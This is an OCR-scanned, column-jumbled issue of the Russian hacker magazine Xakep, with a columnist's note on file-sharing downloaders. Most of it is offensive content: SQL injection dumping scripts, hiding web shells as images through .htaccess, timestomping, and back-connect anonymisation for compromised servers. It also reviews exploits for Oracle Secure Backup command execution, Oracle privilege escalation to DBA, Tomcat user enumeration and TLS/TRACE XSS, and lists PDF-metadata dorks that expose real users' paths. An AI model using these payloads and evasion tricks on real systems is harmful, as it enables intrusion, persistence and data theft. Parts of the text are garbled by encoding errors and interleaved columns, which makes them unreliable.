и добавляем имя и MAC-адрес устройства в наш QTextEdit, надо морочить голову с изучением новой платформы.
используя цикл: Используя уже имеющиеся знания Python’а и библиотеку
Qt, мы сходу смогли разработать работоспособное прило-
nearby_devices = bluetooth.discover_devices( жение для Nokia N900. Осталось выложить его в девело-
lookup_names = True) перский репозитарий :). z

036 XÀÊÅÐ 01 /133/ 10


СТЕПАН «STEP» ИЛЬИН TWITTER.COM/STEPAH

КОЛОНКА ÐÅÄÀÊÒÎÐÀ
Õочу поделиться с тобой своим опытом обще- капчу. С другой стороны, не сильно хочется доступен ли файл, потом сам распознает
ния с различными файлобменниками типа возиться еще с какой-то программой, когда «капчу» (лишь иногда выскакивает окно для
rapidshare.com. Когда только появился сам нужно скачать один единственный файл. С ввода), сам ждет, сколько нужно, и дальше...
rapidshare (тогда еще в домене .de) и практи- нынешними скоростями я уже давно отка- сообщает тебе, когда файл будет скачен.
чески все пользовались только им, проблем зался от всяких менеджеров закачек и все Можно даже настроить автоматическую рас-
не было никаких. В издательстве откуда-то скачиваю только браузером. В этом плане паковку многотомных архивов — тоже запро-
взялся Premium-аккаунт, который разошелся настоящей находкой стал плагин SkipScreen сто. Если JD ссылку не подхватил, значит,
среди своих. Круг «своих», конечно, расши- (skipscreen.com) для Firefox. Теперь, если он не поддерживает этот сервис. Поверить
рялся не по дням, а по часам, поэтому сооб- открыть ссылку на Rapidshare.com и десятке сложно: для программа разработано такое
щения о превышении недельного лимита на других сервисов, то плагин произведет авто- бешенное количество плагинов, что, кажется,
скачку очень скоро стали обычным явлением. матическую замену HTML-контента, скромно подходящий аддон есть для любого файлооб-
Дальше появилось куча клонов: Megaupload. говоря: «Ничего не делайте. Закачку я начну менника на свете. Словом, суперинструмент.
com, FileFactory.com, DepositFiles и много- сам, как только это станет возможным». И И да. Если вдруг тебе самому нужно выло-
много других, в том числе российских. начинает! Забавно, что один из файлооб- жить большой файл, не мучай людей. Не
Каждый оказывался еще более изворотливый менников Mediafire.com пытался, как ему надо. Воспользуйся «Народ.Диском» от
в подсовывании рекламы, попапов, а также казалось, настучать в отдел по модерирова- «Яндекса». Максимальный размер для одно-
ограничениях, которые непременно накла- нию аддонов к Firefox'у. В результате Mozilla го файла в 5 Гб — единственное ограничение
дываются на пользователей, не желающих запрос отклонила, а плагин стал еще более этого хостига, где нет рекламы, таймеров и
приобретать платные аккаунты — в конце популярным :). прочей ерунды. z
концов, пользоваться ими стало окончатель- И все-таки, что делать, когда нужно скачать
но невыносимо. Если есть возможность, я с файлообменника сразу десяток-другой
непременно скачаю файл через torrent'ы или файлов. В конце концов, где ты видел фильм,
найду человеческое HTTP/FTP-зеркало, но который выложен полностью и не поделен
если такой возможности нет? Мысль сидеть частей так на 30? Опять же, файлообмен-
с открытой вкладкой браузера, пытаясь про- никам не место жалко, — искусственное
браться через тонну рекламы и таймеры, ограничение на размер одного файла позво-
отделяющие от закачки, всегда казалась ляет им показывать еще больше рекламы,
чрезвычайно унылой, как и идея разного еще больше бесить пользователя, чтобы тот
рода Premium-аккаунтов. покупал платные аккаунты. В такой ситуации
Но при всей нелюбви к таким сервисам, самое лучшее решение — это менеджер
использовать их приходится часто. Некоторые закачек JDownloader (jdownloader.org).
вещи нигде, кроме файлообменников, не Умопомрачительная прога написана на Java
найти. Когда-то давно я использовал непло- и сделает все, чтобы глаза твои больше фай-
хую программу Universal Share Downloader лообменников не видели. Скопируй ссылку.
(www.dimonius.ru/?usd). Накидал ей ссылок — Дальше JD действует сам — формирует
и она сама качает, как только это станет воз- ссылки в пакеты (если, например, файл раз-
можным, лишь иногда спрашивая ввести бит на 10 или хоть 20 частей), проверяет,

XÀÊÅÐ 01 /133/ 10
037
ВЗЛОМ
JOKESTER FORUM.ANTICHAT.RU
TWOSTER ANTIQWERTY@GMAIL.COM, TWOST.RU

Easy Hack
ХАКЕРСКИЕ
СЕКРЕТЫ
ПРОСТЫХ
ВЕЩЕЙ

¹1
ЗАДАЧА: ОТРЕДАКТИРОВАТЬ ТЕКСТ ЧЕ- $password="Ofn08Gtk!";
РЕЗ КОНСОЛЬ ПОРУТАННОГО СЕРВЕРА ?>

Если забыл поменять пароль перед заливкой файла, выполни в консоли


РЕШЕНИЕ: сервера команду:
Часто бывает необходимо как можно быстрее отредактировать файлы
прямо на сервере. Иногда это нужно сделать через telnet (back-connect, $ sed 's/Ofn08Gtk!/newpassword/' conf.db > tmp.for.sed && mv
bind port), когда работа таких редакторов как vi или emacs невозможна. tmp.for.sed conf.db
Но, независимо от типа подключения (back-connect, ssh, другое), можно
воспользоваться потоковым редактором sed. Sed также поддерживает регулярные выражения. Это очень удобно. Вот
Предположим, у тебя есть такой конфиг: так, например, можно заменить все внешние ссылки в чужом индексе
своими:
<?
//conf.db $ sed -e 's/href="http :\ /\/[^"]""/href="http://yourlink.
$database="mydb"; com»/g' index.html
$user="news_user";

¹2
ЗАДАЧА: УСТАНОВИТЬ ПЛАГИН <Description>
FIREFOX ДЛЯ БОЛЕЕ СТАРОЙ ВЕРСИИ <em:id>{ec8030f7-c20a-464f-9b0e-13a3a9e97384}</em:id>
<em:minVersion>1.0</em:minVersion>
<em:maxVersion>2.0</em:maxVersion>
РЕШЕНИЕ: </Description>
Firefox часто обновляется и не всегда разработчики расширений успевают </em:targetApplication>
пересобрать расширения под новую версию. Конечно, лучше дождаться, когда
разработчики сами сделают это, но, если тебе уже совсем невтерпеж, то следуй Теперь заменяем значение maxVersion на свое или на старше, например, 4.0, и
моим советам и у тебя все получится. сохраняем изменения.
1. Качаем нужный тебе плагин, изменяем расширение файла на .zip и распако- 3. Запаковываем назад в zip-архив и меняем его расширение на .xpi.
вываем. Все, теперь можно устанавливать расширение, просто перетащи его в свой
2. Открываем файл install.rdf и находим там секцию вроде этой: Firefox.
Но помни: этот метод срабатывает не всегда, есть расширения, которые просто
<em:targetApplication> несовместимы с новыми версиями Firefox.

¹3
ЗАДАЧА: БЫСТРО СДАМПИТЬ ДАННЫЕ 1. Когда есть обычный вывод с помощью union (news.asp?id=1 union select
ИЗ MSSQL 2005/2008 top 1 null,null,null,table_name from information_schema.tables-- ), вос-
пользуйся утилитой от Daniel Kachakil. Скачать ее можно тут: http://www.
kachakil.com/papers/SFX-SQLi-en.htm.
РЕШЕНИЕ: 2. Комбинируя метод SFX-SQLi с функцией substring(), можно дампить
Можно воспользоваться уже привычными инструментами вроде SIPT или данные и через вывод в ошибке(error-based SQLi). Специально для этого
Pangolin. я написал скрипт на Руби:
А можно использовать технику SFX-SQLi. Именно на ней остановлюсь
чуть подробнее. #! /usr/bin/ruby
В MSSQL 2000 c помощью оператора FOR XML можно получать результаты #íàñòðîéêè òóò
запроса в виде XML. site="kbaptupa.ru»# äîìåííîå èìÿ
path="/dir/linkdetail.aspx»# ïóòü äî óÿçâèìîãî ñêðèïòà
SELECT * FROM information_schema.tables FOR XML RAW; inject="id=1+and+1="#óÿçâèìûé ïàðàìåòð
table="information_schema.columns» #íàçâàíèå òàáëèöû, êîòî-
Что вернет содержимое таблицы в виде XML. Однако в MSSQL 2000 ðóþ äàìïèòü
выражение FOR XML не может быть использовано в подзапросе, поэтому #äàëüøå íè÷åãî íå ìåíÿåì
дампить данные с помощью FOR XML можно, начиная с 2005 версии require 'net/http'
MSSQL-сервера. require 'cgi'

038 XÀÊÅÐ 01 /133/ 10


Процесс дампа с помощью скрипта на Ruby

Утилита от Daniel Kachakil

XÀÊÅÐ 01 /133/ 10 039


ВЗЛОМ

outputlength =0 nvarchar value '([\w\W]*?)' to data type int/im)


http = Net::HTTP.new(site, 80) break if match[0].to_s.length<outputlength or !match.any?
pagepath = "#{path}?#{inject}'#{'a'*4000}'" print CGI.unescapeHTML(match[0].to_s)
resp, data = http.get(pagepath, nil) startindex+=outputlength
outputlength = data.scan(%r{Conversion failed when converting end
the varchar value '(.*?)\.\.\.}im)[0].to_s.length — 20
startindex =0 print "</#{table}>"
print "<#{table}>"
while true do Отредактируй скрипт (внеси данные своей SQLi), а потом запусти его так:
request = «#{path}?#{inject}substring((select+*+from+#{tabl
e}+FOR+XML+RAW),#{startindex},#{outputlength})--" $ ruby sfxsqli.rb > dump.xml
resp, data = http.get(request, nil)
match= data.scan(/Conversion failed when converting the В файле dump.xml ты получишь данные таблицы в xml.

Результат работы скрипта (файл открыт в Firefox)

ЗАДАЧА: ЗАМАСКИРОВАТЬ ШЕЛЛ ПОД

¹4
подозрений. А какие файлы в первую очередь вызывают подозрения? Ну,
МЕСТНОСТЬ С ПОМОЩЬЮ .HTACCESS конечно же, скрипты. То есть, файлы с расширением .php .phtml .cgi .pl и т.д.
будут проверены первыми. И, напротив, не вызывают подозрения, например,
картинки. Но какая же польза от файла с расширением .jpg или .gif, скажешь
РЕШЕНИЕ: ты. Ведь он неисполняемый и, если даже засунуть в него .php-код, то, чтобы
Заливая шелл на какой-нибудь ресурс, ты, конечно, хочешь, чтобы он прожил он заработал, нужен будет инклуд. Это не совсем так, а точнее, совсем не так.
максимально долго и не был удален злобными админами в первый же день. Заставить апач воспринимать файл с любым расширением как .php нам
Для этого шеллы прячут и маскируют под местность, чтобы файл не вызывал поможет .htaccess.

040 XÀÊÅÐ 01 /133/ 10


Посмотрим, как это делается: 3. Меняем расширение шеллу с .php на .jpg.
1. Создаем у себя на локалке файл .htaccess следующего содержания (можно и 4. Переходим с веба на нашу «картинку» и видим, что она исполняется.
прямо на сайте создать): Как видишь, все просто, теперь, зайдя в папку, админ видит только картинки, и
шансов, что шелл будет найден, гораздо меньше.
AddType application/x-httpd-php .jpg Разумеется, таким образом можно поставить абсолютно любое расшире-
ние, будь то .txt, .gif или вообще не существующее .lol. Только злоупотреб-
2. Заливаем его на взломанный сайт в папку, где будем прятать наш шелл (это лять методом не советую. Если то, что ты делаешь, наносит вред функцио-
если в директории нет такого файла; если есть, то просто добавляем к нему налу сайта в целом, то шансы быть обнаруженным резко возрастают.
нашу строчку).

¹5
ЗАДАЧА: ИЗМЕНИТЬ ВРЕМЯ СОЗДАНИЯ 2. Сделать file5 того же времени, что и file4:
ФАЙЛА, ЗАМАСКИРОВАВ ТЕМ САМЫМ
ШЕЛЛ НА САЙТЕ touch -r file4 file5

РЕШЕНИЕ: 3. Сделать file7 30 секундами старше, чем file6:


Опять возвращаемся к вопросу сокрытия шелла, залитого на сайт.
Каким образом админы находят и удаляют залитые файлы? Вариантов touch -r file6 -B 30 file7
много, но один из них — поиск по дате создания и изменения файла.
А это время мы можем изменить, тем самым усложнив админу задачу. 4. Сделать file7 30 секундами моложе, чем file6:
Конечно, не панацея, но иначе шансы спалиться резко возрастают.
Итак, приступим: touch -r file6 -F 30 file7

UNIX touch То же самое можно сделать средствами PHP функцией touch():

1. Поставить на файл определенную дату, формат: год месяц число час


минута. touch('/usr/www/site.ru/www/index.php', filemtime('/usr/www/
site.ru/www/show_kvit.php'));
touch -t200811182005 apach.php
Ну и наконец, на шелле r57 есть специальная вкладка с одноименным
Или так: названием, она поможет это сделать в удобном виде.
Не забывай, что для изменения атрибутов нужно иметь соответствую-
touch -d ‘Jan 31 2007 12:34:56’ apach.php щие права.

¹6 ЗАДАЧА: ВЫВЕСТИ ПОЛЕ ПРИ ИМЕЮ-


ЩЕЙСЯ SQL-INJECTION И ПРОБЛЕМНОЙ
КОДИРОВКЕ
16-ричному виду, далее снова в строчный вид. Второй способ аналоги-
чен. Хочу отметить еще одну полезную сторону данного метода.
К примеру, у нас есть sql-injection, одно из полей которой используется
в инклуде (include ($_row[‘file’].’html’);). Нам нужно обрезать расшире-
РЕШЕНИЕ: ние файла, однако директива magic_qoutes находится в положении ON,
Для решения проблем с кодировкой есть несколько вариантов. К при- т.е. финт с нулл-байтом (%00) уже не пройдет. Тут-то к нам и придут на
меру: помощь уже знакомые функции.

http://site.com/script.php?id=- http://site.com/script.php?id=-
1'+union+select+1,unhex(hex(version())),3--+ 1'+union+select+1,0x...00,3--+
ëèáî
http://site.com/script.php?id=-1’+union+select+1,AES_ Вместо «...», естественно, будет файл, который должен, по твоему мне-
DECRYPT(AES_ENCRYPT(version(),'lol'),'lol'),3--+ нию, участвовать в инклуде, а в конце вставим нулл-байт в 16-ричном
представлении, и он уже не будет попадать под фильтрацию magic_
В первом примере мы сначала приводим результат функции version() к quotes.

¹7 ЗАДАЧА: БЕЗОПАСНО ЗАБИНДИТЬ ПОРТ


ИДИ СДЕЛАТЬ БЕККОНЕКТ НА УДАЛЕН-
НОМ СЕРВЕРЕ
обладал выделенным ip-адресом (белый ip).
Заходить на дедик нужно обязательно через впн. В ином случае на нем
также сохранится твой реальный IP-адрес.
Для SSH-шелла требования не такие жесткие, для коннекта к ним многие
РЕШЕНИЕ: программы имеют поддержку прокси. В качестве shh-шеллов лучше
Многие начинающие хакеры делают бекконект на свой компьютер. использовать зарубежные vds-сервера.
Это в корне неверно, так как ip-адрес послушно запишется в логи. Также можно сделать цепочку серверов при бекконекте. т.е. мы ставим
В основном, бекконект делают либо на неткат на дедике (dedicated на прослушку порт на промежуточном сервере, потом делаем бекконект с
server), либо на неткат на SSH-шелле (допустим, на VDS). Хочу сразу сервера-жертвы на промежуточный сервер, а потом коннектимся со свое-
обозначить, что для бекконекта на дедик нужно, чтобы последний го компьютера уже не к серверу-жертве, а к промежуточному. z

XÀÊÅÐ 01 /133/ 10 041


ВЗЛОМ
АНДРЕЙ КОМАРОВ KOMAROV@ITDEFENCE.RU ИТЦ « АНАЛИТИКА» / IT DEFENCE.RU

ÎÁÇÎÐ ÝÊÑÏËÎÈÒÎÂ
ÑÂÎÄÊÀ ÍÎÂÛÕ ÓßÇÂÈÌÎÑÒÅÉ ÝÒÎÃÎ ÌÅÑßÖÀ ÎÏßÒÜ ÏÅÐÅÄ ÒÎÁÎÉ. ÓÄÈÂÈÒÅËÜÍÎ, ÍÎ ÔÀÊÒ, ÌÅÍÜØÅ ÈÕ ÏÎ ÑÐÀÂÍÅÍÈÞ Ñ ÏÐÅÄÛ-
ÄÓÙÈÌÈ ÌÅÑßÖÀÌÈ ÍÅ ÑÒÀËÎ. ÂÎÎÁÙÅ, ÝÒÎ Î×ÅÂÈÄÍÎ, ÂÅÄÜ ÒÅÍÄÅÍÖÈÈ ÇËÎÓÌÛØËÅÍÍÈÊÀ ÂÑÅÃÄÀ ÎÏÅÐÅÆÀÞÒ ÐÀÇÐÀÁÎÒ×È-
ÊÎÂ, ÒÅÌ ÑÀÌÛÌ ÏÎÄÄÅÐÆÈÂÀß ÁÀËÀÍÑ ÌÅÆÄÓ ÂÛÏÓÑÊÀÞÙÈÌ ÐÅÑÓÐÑÎÌ È ÏÎÄÀÂËßÞÙÈÌ.

ПРОВЕДЕНИЕ XSS С ПОМОЩЬЮ МЕТОДА TRACE


РЕАЛИЗАЦИЯ АТАК НА TLS/ БАЗОВЫЙ СЦЕНАРИЙ TLS
SSLV3 РАСПРОСТРАНЯЕТСЯ НА RENEGOTIATION
МНОГИЕ ОБЪЕКТЫ ПРИКЛАДНО-
ГО УРОВНЯ (ПРОТОКОЛЫ SMTPS,
FTPS)

01
ОБХОД АВТОРИЗАЦИИ В ПРОДУКТЕ fakeoption&passwd=fakepwd"
РЕЗЕРВНОГО КОПИРОВАНИЯ ORACLE # íåïîñðåäñòâåííîå ïîëó÷åíèå ñåññèè ïîñëå îòïðàâêè
POST'a
curl -kis "https://$TARGET/login.php" -d $postdata |
BRIEF Oracle Secure Backup представляет собой технологию централи- grep "PHPSESSID=" | head -n 1 | cut -d= -f 2 | cut -d\; -f 1
зованного управления резервного копирования на ленточные накопи-
тели. Отличительная особенность продукта в том, что процесс резер- Теперь остается только перейти к делу! Настоящий эксплоит по неавто-
вирования может происходить без использования ресурса мощностей ризированному выполнению команд пишется в три строки:
(server-less) посредством прямого копирования данных с физического
ленточного носителя по протоколу NDMP. # ïîäãîòîâêà êîìàíäû äëÿ èñïîëíåíèÿ
shell="1%26ver>osb103shelltmp"
EXPLOIT По словам разработчиков, в средах сетей хранения данных # îðãàíèçàöèÿ çàïðîñà ê óÿçâèìîìó ñöåíàðèþ ñ óêàçàíè-
(Storage Area Network, SAN) решение Oracle Secure Backup обеспечи- åì êîìàíäû äëÿ èñïîëíåíèÿ ($shell) è íàëè÷èåì âàëèäíîé
вает высокий показатель использования ленточных накопителей путем ñåññèè ($session)
их динамического «разделения» между несколькими медиа-сервера- curl -k -s "https://$TARGET/property_box.php?type=Chec
ми. Стоимость лицензии Oracle Secure Backup составляет $3,5 тыс. в kProperties&vollist=$shell" -b "PHPSESSID=$session" > /
расчете на один ленточный накопитель, включая защиту данных для dev/null
неограниченного числа серверов, устройств NAS и баз данных Oracle. # ïðîñìîòð âûïîëíåíèÿ ðåçóëüòàòà
Сам понимаешь, какие суммы могут накапать в хорошо развернутой check=`curl -ks "https://$TARGET/osb103shelltmp" -b
сетевой инфраструктуре, где одной лентой уж точно не обойдешься. "PHPSESSID=$session" | grep -i Microsoft`
Обход авторизации позволяет несанкционированно получать доступ к
резервируемым ресурсам, а также исполнять команды на целевой сис- Финальной строкой мы просто убеждаемся, что вывод команды показал
теме. Свет долгое время не мог увидеть подробностей уязвимости, так название версии СУБД и платформы. Полный сценарий для эксплуата-
как афиширована она была сугубо вендорскому полю зрения и компани- ции можно скачать здесь: downloads.securityfocus.com/vulnerabilities/
ям-разработчикам IPS/IDS и антивирусных решений для отслеживания exploits/35672_35678.sh.
соответствующих аномальных действий при анализе трафика.
По сути, уязвимость подразделяется на две составляющих, которые по
логике и были задокументированы в базе CVE, им выданы следующие SOLUTION Вендор такого уровня своевременно отреагировал на поя-
номера: «Unspecified vulnerability in the Oracle Secure Backup component вившееся сообщение в лентах bugtrack и выпустил исправление.
in Oracle Secure Backup 10.2.0.3 allows remote attackers to affect
confidentiality, integrity, and availability via unknown vectors». TARGETS Oracle Secure Backup Server 10.3.0.1.X.

02
1) cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1977
2) cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1978
Эксплуатация осуществляется в два этапа. Сначала злоумышленник ПОДБОР СУЩЕСТВУЮЩИХ ПОЛЬЗОВА-
получает валидную сессию, которую генерирует движок WEB-интерфей- ТЕЛЕЙ APACHE TOMCAT
са системы:
BRIEF Известно, что на системе, где установлен Apache, находится (или
# ïåðåäà÷à äàííûõ â POST-çàïðîñå может находиться) много пользователей. Конечно, сам Apache часто за-
postdata="button=Login&attempt=1&mode=&tab=&uname=-- пускают с правами «nobody», но песня о другом! Используя ошибку клас-

042 XÀÊÅÐ 01 /133/ 10


КАК ВИДИШЬ, РОЛЬ ORACLE SECURE BACKUP ДОСТАТОЧНО ВЕЛИКА НАГЛЯДНЫЙ ПРИМЕР — ПОЛЬЗОВАТЕЛЬСКИЕ ПУТИ КАК НА ЛАДОНИ!
И ПОЗВОЛЯЕТ РЕЗЕРВИРОВАТЬ ДАННЫЕ НА НАИБОЛЕЕ КРИТИЧНЫХ
ОБЪЕКТАХ

са «Design Error», а именно ошибку в реализации и проектировании со EXPLOIT Код эксплоита выполнен в двух вариациях — классический об-
стороны разработчиков, существует возможность перечислить текущих ход авторизации и SQL-injection, а во второй применяется метод Cursor
пользователей системы! В принципе, такая возможность существовала Injection. Классический обход ограничений:
и ранее во многих версиях известного WEB-сервера:
set serveroutput on;
/~root prompt [+] ctxsys-drvxtabc-create_tables.sql exploit
/~andrej prompt [+] by Andrea "bunker" Purificato — http://
/~gogy rawlab.mindcreations.com
/~UFO prompt [+] 37F1 A7A1 BB94 89DB A920 3105 9F74 7349 AF4C
BFA2
Между прочим, одним из первых сканеров безопасности, который prompt
проводил проверки на предмет перебора пользователей по Apache, был undefine the_user;
Nessus (существует реализованный плагин на NASL), а затем и отечест- accept the_user char prompt 'Target username (default
венный XSpider. TEST): ' default 'TEST';
prompt
EXPLOIT Сейчас это можно делать, формируя специальный POST-за- prompt [-] Building evil function...
прос: CREATE OR REPLACE FUNCTION OWN RETURN NUMBER
AUTHID CURRENT_USER AS
POST /j_security_check HTTP/1.1 PRAGMA AUTONOMOUS_TRANSACTION;
Host: www.example.com BEGIN
EXECUTE IMMEDIATE 'GRANT DBA TO &the_user'; COMMIT;
j_username=tomcat&amp;j_password=% RETURN(0);
END;
Комбинируя связки логин и пароль, можно добиться раскрытия данных /
учетных записей локальных пользователей, а по возврату ошибки, prompt [-] Finishing...
наоборот, убедиться, что их нет в системе.
exec ctxsys.drvxtabc.create_tables(''||user||'"."x" as
select * from dual where '||USER||'.own=0--','x',2);
SOLUTION Обновления нашли своих героев, распространяется на
многие ОС. prompt [-] YOU GOT THE POWAH!!

TARGETS Множество платформ, позволяющих установку JAVA + Apache TARGETS Oracle DB 9i/10g.
(Tomcat).

03
EXPLOIT Пока нет, но скоро выйдет обновление, устраняющее уязвимость.
РЕАЛИЗАЦИЯ ОБХОДА БЕЗОПАС-

04
НОСТИ В ORACLE (CTXSYS.DRVXTABC. УЯЗВИМОСТИ В ПРОТОКОЛЕ
CREATE_TABLES) TLS / SSLV3
BRIEF Нарушение безопасности заключается в том, что непривиле-
гированный пользователь унаследует права dba, после чего сможет BRIEF Еще в начале ноября специалистами была создана заметка о воз-
произвести практически любые действия, используя всю мощь СУБД. можности эксплуатации некоторых уязвимостей протокола TLS в SSLv3.

XÀÊÅÐ 01 /133/ 10 043


ВЗЛОМ

XSS В OPERA

СУЩЕСТВУЕТ ОЧЕНЬ МНО-


ГО ПО, ПОЗВОЛЯЮЩЕГО
УДАЛИТЬ МЕТАДАННЫЕ ИЗ
ДОКУМЕНТОВ КОРПОРАТИВ-
НОГО ТИПА
ПРИМЕР МЕТАОПИСАНИЯ PDF

Ей даже была присвоена метка в базе CVE (CVE-2009-3555), но должного íèåì õèäåðîâ áèáëèîòåêè OpenSSL
внимания со стороны общественности она не привлекла, хотя исполь- gcc -lssl ssl-302-inp.c -o ssl-302
зование TLS крайне широко (Microsoft Internet Information Services,
mod_ssl, GNUTLS, Mozilla Network Security Services). Уязвимость вызва- # ïðèìåð ýêñïëóàòàöèè
на некорректной обработкой renegotiation handshakes с существующим ./ssl-302 8080 /search/redir.php
подключением, что позволяет осуществлять атаку «человек в середине»
(MITM) и внедрять произвольные данные, в том числе и вредоносные, в 3. Использование метода TRACE. Злоумышленник внедря-
HTTPS/SSL/TLS-сессию. Организуется такая процедура путем отправ- ет метод TRACE в ряд HTTP-запросов, получая управление
ки специально сформированного пакета, который воспринимается над содержимым, которое посылается от сервера клиенту по
сервером в post-negotiation контексте, что еще носит альтернативное HTTPS. Наверняка, по старинке тебе известно, что TRACE
название «plaintext-атака». используют для проведения XSS-атак. Рассмотрим сцена-
Когда речь идет о «Man in the middle», по-хорошему, подразумевает- рий. Сначала клиент по SSL-сессии цепляется за удаленный
ся перехват и последующая подмена данных. Для этого существует ресурс по WEB'у:
множество сценариев, поэтому описанное далее относится не к одному
привычному HTTP/HTTPS-протоколу, но и ко всем приложениям и про- GET / HTTP/1.1
токолам, использующим SSLv3 или TLS. Общий сценарий эксплуатации Host: server.com
основан на следующих принципах:
1. Легитимный клиент начинает сессию TLS «рукопожатия» (handshake). Все бы ничего, но как только мы встанем у него на пути, запрос изменит-
2. Злоумышленник, вклиниваясь между клиентом и сервером обраще- ся на следующий:
ний, устанавливает полноценную TLS-сессию с сервером, к которому
обращается клиент. TRACE / HTTP/1.0
3. Злоумышленник начинает искусственное взаимодействие с сервером X:<html><script>alert('hello')</script></html>
на прикладном уровне. : X-ignore: GET / HTTP/1.1
4. При таком раскладе мы наблюдаем следующее. TLS «рукопожатие» Host: server.com
доверенного клиента продолжается, его никто не обрывал (клиент <>
сервер), но внутри него новая шифрованная сессия (атакующий <> Если все прошло ОК, сервер ответит:
сервер).
Применительно к HTTPS возможностей сделать инжект собственных HTTP/1.1 200 OK
данных в авторизированный поток несколько: [trimmed]
1. Внедрение GET/POST-запросов, без их конечного завершения. Это Content-Type: message/http
позволяет смешивать запросы клиента и атакующего, подавляя коман-
ды клиента. TRACE /sadas.pdf HTTP/1.1
2. Принудительный уход от использования HTTPS к HTTP. Атакующий <html><script>alert('hello')</script></html>:
внедряет HTTP-запрос, направленный на ресурс, который доступен по Host: www.server.com
SSL, после чего выполняется перенаправление на HTTP. Иным названи-
ем атаки является термин «Downgrading» (HTTPS > HTTP). Реализацию В контексте клиента может выполниться вредоносный код, причем
можно изучить в утилите, созданной Peak (Pavel Konkovsky), а позже самой разной направленности. Конечно, многие браузеры устойчивы к
модифицированной Thierry Zoller (g-sec.lu/ssl-302-inp.c). такому типу атак, но ведь существует ряд браузеров, которые используют
TRIDENT-движок (mshtml.dll) и грешат корявой обработкой HTTP-заго-
# ïðè êîìïèëèðîâàíèè îáÿçàòåëüíî óêàæè ñáîðêó ñ ïðèìåíå- ловков.

044 XÀÊÅÐ 01 /133/ 10


ОКНО ЗАГРУЗКИ В
MOZILLA FIREFOX

ОДНА ИЗ ВАЖНЕЙШИХ ОПЦИЙ НОВОГО ACROBAT — EXAMINE DOCUMENT

05
ЧАСТИЧНОЕ РАСКРЫТИЕ ПОЛЬЗОВА- TFNF CLO Newsletter
ТЕЛЬСКИХ ДАННЫХ В МЕТАОПИСА- cnic.navy.mil/navycni/groups/public/pub/hq/documents/
НИИ ФОРМАТА PDF document/clo5.pdf
file:///C|/Web_Projects/project_trident/new_anfa/
BRIEF Вопрос выборки пользовательских данных из офисных данных newsletters/clo5.htm
очень часто применяется в области промышленного шпионажа и раз-
ведки. Скажем, тебе в руки попал какой-либо документ, тебя интересует Если ты соберешься сделать срез по общедоступным документам .pdf
его подлинное авторство, возможный список машин, по которым «гулял» (filetype:pdf), то получишь количество в более чем 190.000.000 штук.
этот документ, имена машин, на которых он был прочтен и редактиро- Поверь, львиная доля из них страдает таким косяком. После взаимо-
ван. Даже с такой информации можно в явном виде понять заказчика и действия с Microsoft и Adobe Security Team, стало ясно, что Microsoft
исполнителя, их подрядчиков и промежуточные конторы, взаимосвязи планирует исправить это в Microsoft IE 9, а Adobe отреагировала, не
между науко-техническими департаментами и отделениями, кураторов назвав какие-либо даты к действию. Как же выглядит метаописание в
новых разработок, ответственных за ведение какого-либо направле- реалиях?
ния и много другой информации. Недавно, мир ИБ и прочих шалостей
немного удивила новость, что во множестве PDF-документов были рас- eda.gov/PDF/EDA_vol1;%20Issue10.pdf
крыты пути хранения документа более чем у миллиона пользователей! <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP
Core 4.0-c316 44.253921, Sun Oct 01 2006 17:14:39">
EXPLOIT Для поиска подобной информации с использованием откры- <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-
тых источников (например, Google) можно использовать следующие syntax-ns#">
поисковые запросы: <rdf:Description rdf:about=""
xmlns:dc="http://purl.org/dc/elements/1.1/">
filetype:pdf file c (htm OR html OR mhtml) (4 ìèëëèîíà <dc:format>application/pdf</dc:format>
ðåçóëüòàòîâ) <dc:creator>
filetype:pdf file d (htm OR html OR mhtml) (~13 ìèëëè- <rdf:Seq>
îíîâ ðåçóëüòàòîâ) <rdf:li>LewtasS</rdf:li>
</rdf:Seq>
Имея явные склонности к злодейству, приведу пару примеров выборки: </dc:creator>
<dc:title>
Global Agricultural Information Network <rdf:Alt>
ottawa.usembassy.gov/content/embconsul/pdfs/fas_ <rdf:li xml:lang="x-default">file://C:\Documents and
twica25_2009.pdf Settings\lewtass\Desktop\eda newsletter</rdf:li>
mhtml:file://C:\Documents and Settings\michaelcj\Local </rdf:Alt>
Settings </dc:title>
</rdf:Description>
WEB-Server Statistics for pittcountync.gov
pittcountync.gov/depts/mis/leaderboard/www.pdf oregon.gov/OMD/OEM/plans_train/grant_info/fy2009_
file://C:\Program Files\rumrunner\analog\www.html hsgp_investment_justification.pdf
<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="3.1-701">
Ïèñüìåöî <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-
sanjoseca.gov/coyotevalley/EIR/DEIR/DEIR_Comments/ syntax-ns#">
Individuals/06-29-07_Engell-John.pdf <rdf:Description rdf:about=""
file://C:\Documents and Settings\Jared.Hart\Desktop\ xmlns:pdf="http://ns.adobe.com/pdf/1.3/">
Engell.htm <pdf:Producer>Acrobat Distiller 7.0.5 (Windows)</

XÀÊÅÐ 01 /133/ 10 045


ВЗЛОМ

АНБ США КРАЙНЕ ОЗАБОЧЕНО ПРОБЛЕМОЙ


БЕЗОПАСНОСТИ PDF — HTTP://WWW.NSA.
GOV/IA/_FILES/APP/PDF_RISKS.PDF

pdf:Producer> PDF. Начиная с восьмой версии Acrobat (Acrobat 8, Acrobat 9), появилось
</rdf:Description> две новых утилиты (Redactor, Content Optimzer), целиком и полностью
<rdf:Description rdf:about="" направленных на выделение и удаление подобной инфы из тела доку-
xmlns:xap="http://ns.adobe.com/xap/1.0/"> ментов.
<xap:CreatorTool>PScript5.dll Version 5.2.2</ Другой документ (help.adobe.com/en_US/Acrobat/9.0/Professional/
xap:CreatorTool> WS7E9FA147-10E3-4391-9CB6-6E44FBDA8856.w.html) описывает
<xap:ModifyDate>2009-03-18T15:07:10-07:00</ методику удаления скрытой от глаз пользователя информации, которая
xap:ModifyDate> включает в себя:
<xap:CreateDate>2009-03-18T15:07:10-07:00</ • метаданные;
xap:CreateDate> • файловые приложения (PDF позволяет добавлять к документу аттач-
</rdf:Description> менты, посмотреть их можно с помощью View Æ Navigation Panel Æ
<rdf:Description rdf:about="" Attachments);
xmlns:dc="http://purl.org/dc/elements/1.1/"> • аннотационные записи и комментарии (View Æ Navigation Panel Æ
<dc:format>application/pdf</dc:format> Comments);
<dc:title> • поля форм (всевозможные поля для подписей, вставок, индексов могут
<rdf:Alt> быть заведомо заполнены или добавлены комментариями);
